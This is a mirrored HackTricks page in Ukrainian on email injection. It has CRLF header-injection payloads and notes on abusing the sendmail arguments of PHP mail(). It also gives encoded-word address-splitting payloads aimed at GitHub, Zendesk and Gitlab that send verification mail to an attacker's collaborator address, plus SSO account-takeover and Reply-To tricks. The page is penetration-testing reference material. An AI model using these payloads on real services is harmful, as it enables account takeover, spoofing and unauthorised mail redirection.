mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-24 13:43:24 +00:00
237 lines
18 KiB
Markdown
237 lines
18 KiB
Markdown
# Email Injections
|
||
|
||
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
\
|
||
Використовуйте [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_content=email-injections), щоб легко створювати та **автоматизувати робочі процеси**, які підтримуються **найсучаснішими** інструментами спільноти.\
|
||
Отримайте доступ сьогодні:
|
||
|
||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=email-injections" %}
|
||
|
||
{% hint style="success" %}
|
||
Вчіться та практикуйте AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Вчіться та практикуйте GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Підтримати HackTricks</summary>
|
||
|
||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||
|
||
</details>
|
||
{% endhint %}
|
||
|
||
## Впровадження в надісланому електронному листі
|
||
|
||
### Впровадження Cc та Bcc після аргументу відправника
|
||
```
|
||
From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com
|
||
```
|
||
Повідомлення буде надіслано на облікові записи отримувача та отримувача1.
|
||
|
||
### Inject argument
|
||
```
|
||
From:sender@domain.com%0ATo:attacker@domain.com
|
||
```
|
||
Повідомлення буде надіслано оригінальному отримувачу та обліковому запису зловмисника.
|
||
|
||
### Вставити аргумент Subject
|
||
```
|
||
From:sender@domain.com%0ASubject:This is%20Fake%20Subject
|
||
```
|
||
Фальшива тема буде додана до оригінальної теми і в деяких випадках замінить її. Це залежить від поведінки поштового сервісу.
|
||
|
||
### Змінити тіло повідомлення
|
||
|
||
Вставте два переводи рядка, а потім напишіть своє повідомлення, щоб змінити тіло повідомлення.
|
||
```
|
||
From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.
|
||
```
|
||
### Експлуатація функції PHP mail()
|
||
```bash
|
||
# The function has the following definition:
|
||
|
||
php --rf mail
|
||
|
||
Function [ <internal:standard> function mail ] {
|
||
- Parameters [5] {
|
||
Parameter #0 [ <required> $to ]
|
||
Parameter #1 [ <required> $subject ]
|
||
Parameter #2 [ <required> $message ]
|
||
Parameter #3 [ <optional> $additional_headers ]
|
||
Parameter #4 [ <optional> $additional_parameters ]
|
||
}
|
||
}
|
||
```
|
||
#### Параметр 5 ($additional\_parameters)
|
||
|
||
Цей розділ буде базуватися на **тому, як зловживати цим параметром, припускаючи, що зловмисник контролює його**.
|
||
|
||
Цей параметр буде додано до командного рядка, який PHP буде використовувати для виклику бінарного файлу sendmail. Однак він буде очищений за допомогою функції `escapeshellcmd($additional_parameters)`.
|
||
|
||
Зловмисник може **впроваджувати додаткові параметри для sendmail** в цьому випадку.
|
||
|
||
#### Відмінності в реалізації /usr/sbin/sendmail
|
||
|
||
**sendmail** інтерфейс **надається програмним забезпеченням MTA для електронної пошти** (Sendmail, Postfix, Exim тощо), встановленим на системі. Хоча **базова функціональність** (така як параметри -t -i -f) залишається **такою ж** з причин сумісності, **інші функції та параметри** значно варіюються в залежності від встановленого MTA.
|
||
|
||
Ось кілька прикладів різних сторінок man команди/інтерфейсу sendmail:
|
||
|
||
* Sendmail MTA: http://www.sendmail.org/\~ca/email/man/sendmail.html
|
||
* Postfix MTA: http://www.postfix.org/mailq.1.html
|
||
* Exim MTA: https://linux.die.net/man/8/eximReferences
|
||
|
||
В залежності від **походження бінарного файлу sendmail** були виявлені різні опції для зловживання ними та **витоку файлів або навіть виконання довільних команд**. Перевірте, як це зробити в [**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
|
||
|
||
## Впровадження в ім'я електронної пошти
|
||
|
||
{% hint style="danger" %}
|
||
Зверніть увагу, що якщо вам вдасться створити обліковий запис у сервісі з довільним доменним ім'ям (як-от Github, Gitlab, CloudFlare Zero trust...) і підтвердити його, отримавши електронний лист для підтвердження на вашу адресу електронної пошти, ви можете отримати доступ до чутливих місць компанії жертви.
|
||
{% endhint %}
|
||
|
||
### Ігноровані частини електронної пошти
|
||
|
||
Символи: **+, -** та **{}** у рідкісних випадках можуть використовуватися для тегування та ігноруються більшістю поштових серверів.
|
||
|
||
* Наприклад, john.doe+intigriti@example.com → john.doe@example.com
|
||
|
||
**Коментарі в дужках ()** на початку або в кінці також будуть ігноруватися.
|
||
|
||
* Наприклад, john.doe(intigriti)@example.com → john.doe@example.com
|
||
|
||
### Обхід білого списку
|
||
|
||
<figure><img src="../.gitbook/assets/image (812).png" alt="https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
|
||
|
||
### Цитати
|
||
|
||
<figure><img src="../.gitbook/assets/image (626).png" alt="https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
|
||
|
||
### IP-адреси
|
||
|
||
Ви також можете використовувати IP-адреси як доменні імена в квадратних дужках:
|
||
|
||
* john.doe@\[127.0.0.1]
|
||
* john.doe@\[IPv6:2001:db8::1]
|
||
|
||
### Кодування електронної пошти
|
||
|
||
Як пояснено в [**цьому дослідженні**](https://portswigger.net/research/splitting-the-email-atom), імена електронної пошти також можуть містити закодовані символи:
|
||
|
||
* **PHP 256 переповнення**: Функція PHP `chr` буде продовжувати додавати 256 до символу, поки він не стане позитивним, а потім виконати операцію `%256`.
|
||
* `String.fromCodePoint(0x10000 + 0x40) // 𐁀 → @`
|
||
|
||
{% hint style="success" %}
|
||
Мета цього трюку полягає в тому, щоб закінчити з впровадженням, як-от `RCPT TO:<"collab@psres.net>collab"@example.com>`\
|
||
яке надішле електронний лист для підтвердження на іншу електронну адресу, ніж очікувалося (отже, щоб ввести іншу електронну адресу всередині імені електронної пошти та зламати синтаксис під час надсилання електронної пошти).
|
||
{% endhint %}
|
||
|
||
Різні кодування:
|
||
```bash
|
||
# Format
|
||
=? utf-8 ? q ? =41=42=43 ?= hi@example.com --> ABChi@example.com
|
||
|
||
# =? -> Start of encode
|
||
# utf-8 -> encoding used
|
||
# ? -> separator
|
||
# q -> type of encoding
|
||
# ? -> separator
|
||
# =41=42=43 -> Hex encoded data
|
||
# ?= end of encoding
|
||
|
||
# Other encodings, same example:
|
||
# iso-8859-1
|
||
=?iso-8859-1?q?=61=62=63?=hi@example.com
|
||
# utf-8
|
||
=?utf-8?q?=61=62=63?=hi@example.com
|
||
# utf-7
|
||
=?utf-7?q?<utf-7 encoded string>?=hi@example.com
|
||
# q encoding + utf-7
|
||
=?utf-7?q?&=41<utf-7 encoded string without initial A>?=hi@example.com
|
||
# base64
|
||
=?utf-8?b?QUJD?=hi@example.com
|
||
# bas64 + utf-7
|
||
=?utf-7?q?<utf-7 encoded string in base64>?=hi@example.com
|
||
#punycode
|
||
x@xn--svg/-9x6 → x@<svg/
|
||
```
|
||
Payloads:
|
||
|
||
* Github: `=?x?q?collab=40psres.net=3e=00?=foo@example.com`
|
||
* Зверніть увагу на закодований `@` як =40, закодований `>` як `=3e` і `null` як `=00` 
|
||
* Він надішле електронний лист для підтвердження на `collab@psres.net`
|
||
* Zendesk: `"=?x?q?collab=22=40psres.net=3e=00==3c22x?="@example.com`
|
||
* Та ж сама хитрість, але з додаванням звичайної лапки на початку та закодованої лапки `=22` перед закодованим `@`, а потім відкриттям і закриттям деяких лапок перед наступною електронною адресою, щоб виправити синтаксис, що використовується всередині Zendesk
|
||
* Він надішле електронний лист для підтвердження на `collab@psres.net`
|
||
* Gitlab: `=?x?q?collab=40psres.net_?=foo@example.com`
|
||
* Зверніть увагу на використання підкреслення як пробілу для розділення адреси
|
||
* Він надішле електронний лист для підтвердження на `collab@psres.net`
|
||
* Punycode: Використовуючи Punycode, було можливим впровадити тег `<style` в Joomla і зловживати ним для викрадення токена CSRF через ексфільтрацію CSS.
|
||
|
||
#### Tooling
|
||
|
||
* Є **скрипт Burp Suite Turbo Intruder**, щоб протестувати такі комбінації для спроби атаки на формати електронної пошти. Скрипт вже має потенційно робочі комбінації.
|
||
* Також можливо використовувати [Hackvertor](https://portswigger.net/bappstore/65033cbd2c344fbabe57ac060b5dd100) для створення атаки на розділення електронної пошти
|
||
|
||
### Other vulns
|
||
|
||
![https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0](<../.gitbook/assets/image (1131).png>)
|
||
|
||
## Third party SSO
|
||
|
||
### XSS
|
||
|
||
Деякі сервіси, такі як **github** або **salesforce**, дозволяють вам створювати **електронну адресу з XSS payloads на ній**. Якщо ви можете **використовувати цих постачальників для входу в інші сервіси** і ці сервіси **не очищають** електронну пошту належним чином, ви можете викликати **XSS**.
|
||
|
||
### Account-Takeover
|
||
|
||
Якщо **SSO сервіс** дозволяє вам **створити обліковий запис без перевірки наданої електронної адреси** (як **salesforce**) і потім ви можете використовувати цей обліковий запис для **входу в інший сервіс**, який **довіряє** salesforce, ви можете отримати доступ до будь-якого облікового запису.\
|
||
_Зверніть увагу, що salesforce вказує, чи була надана електронна адреса перевірена, але так само програма повинна враховувати цю інформацію._
|
||
|
||
## Reply-To
|
||
|
||
Ви можете надіслати електронний лист, використовуючи _**From: company.com**_ і _**Replay-To: attacker.com**_, і якщо будь-яка **автоматична відповідь** буде надіслана через те, що електронний лист був надісланий **з** **внутрішньої адреси**, **зловмисник** може отримати цю **відповідь**.
|
||
|
||
## Hard Bounce Rate
|
||
|
||
Деякі сервіси, такі як AWS, реалізують поріг, відомий як **Hard Bounce Rate**, зазвичай встановлений на 10%. Це критичний показник, особливо для сервісів доставки електронної пошти. Коли цей показник перевищується, сервіс, такий як електронна пошта AWS, може бути призупинений або заблокований.
|
||
|
||
**Hard bounce** відноситься до **електронної пошти**, яка була повернена відправнику, оскільки адреса отримувача є недійсною або неіснуючою. Це може статися з різних причин, таких як **електронна пошта**, надіслана на неіснуючу адресу, домен, який не є реальним, або відмова сервера отримувача приймати **електронні листи**.
|
||
|
||
У контексті AWS, якщо ви надсилаєте 1000 електронних листів і 100 з них призводять до hard bounces (через причини, такі як недійсні адреси або домени), це означатиме 10% hard bounce rate. Досягнення або перевищення цього показника може призвести до блокування або призупинення можливостей надсилання електронної пошти AWS SES (Simple Email Service).
|
||
|
||
Важливо підтримувати низький показник hard bounce rate, щоб забезпечити безперебійну службу електронної пошти та підтримувати репутацію відправника. Моніторинг і управління якістю електронних адрес у ваших списках розсилки можуть значно допомогти в досягненні цього.
|
||
|
||
Для отримання більш детальної інформації можна звернутися до офіційної документації AWS щодо обробки відмов і скарг [AWS SES Bounce Handling](https://docs.aws.amazon.com/ses/latest/DeveloperGuide/notification-contents.html#bounce-types).
|
||
|
||
## References
|
||
|
||
* [https://resources.infosecinstitute.com/email-injection/](https://resources.infosecinstitute.com/email-injection/)
|
||
* [https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
|
||
* [https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view](https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view)
|
||
* [https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0](https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0)
|
||
|
||
{% hint style="success" %}
|
||
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Support HackTricks</summary>
|
||
|
||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
{% endhint %}
|
||
|
||
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
\
|
||
Use [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_content=email-injections) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||
Get Access Today:
|
||
|
||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=email-injections" %}
|